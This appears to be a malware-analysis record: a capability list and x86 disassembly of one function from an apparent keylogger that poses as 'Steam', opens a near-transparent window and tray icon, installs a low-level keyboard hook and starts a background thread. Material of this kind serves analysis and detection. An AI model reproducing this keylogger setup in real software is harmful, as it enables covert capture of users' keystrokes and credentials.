Function at 0x401e66
Capabilities:
Create thread
Hide graphical window
Inspect load icon resource
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x94
mov eax, dword [str.Steam]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4b1180]
mov dword [ebp - 0x14], eax
mov eax, dword [0x4b1184]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x40]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x3c], sym.__Z10WindowProcP6HWND__jjl_16
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x4af014]
mov dword [esp], eax
call sym._CreateSolidBrush_4
sub esp, 4
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0x65
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._LoadIconW_8
sub esp, 8
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym._RegisterClassW_4
sub esp, 4
test ax, ax
sete al
test al, al
je 0x401f21
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Window_Registration_Failed_
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x4021e8
mov dword [esp + 0x2c], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc8
mov dword [esp + 0x18], 0x190
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0xcf0000
mov dword [esp + 8], str.Steam
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x80000
call sym._CreateWindowExW_48
sub esp, 0x30
mov dword [0x4f8034], eax
mov eax, dword [0x4f8034]
test eax, eax
jne 0x401fc5
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Window_Creation_Failed_
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x4021e8
mov eax, dword [0x4f8034]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0xf5
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._SetLayeredWindowAttributes_16
sub esp, 0x10
mov eax, dword [0x4f8034]
mov edx, dword [ebp + 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov eax, dword [0x4f8034]
mov dword [esp], eax
call sym._UpdateWindow_4
sub esp, 4
call sym.InitNotifyIconData__
mov dword [esp + 4], 0x4f8040
mov dword [esp], 0
call sym._Shell_NotifyIconW_8
sub esp, 8
test eax, eax
sete al
test al, al
je 0x40206a
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_add_icon_to_system_tray_
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x4021e8
mov eax, dword [0x4af014]
mov dword [esp], eax
call sym._CreateSolidBrush_4
sub esp, 4
mov dword [0x4f802c], eax
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], sym.__Z20LowLevelKeyboardProcijl_12
mov dword [esp], 0xd
call sym._SetWindowsHookExW_16
sub esp, 0x10
mov dword [0x4f8030], eax
mov eax, dword [0x4f8030]
test eax, eax
jne 0x4020e4
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_set_keyboard_hook_
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x4021e8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z24BackgroundThreadFunctionPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402155
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_create_background_thread_
mov dword [esp], 0
call sym._MessageBoxW_16
sub esp, 0x10
mov eax, 0
jmp 0x4021e8
mov ecx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x5c], ecx
add eax, 4
cmp eax, edx
jb 0x402169
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetMessageW_16
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x4021c1
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._DispatchMessageW_4
sub esp, 4
jmp 0x402174
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x54]
mov edi, dword [ebp - 4]
leave
ret 0x10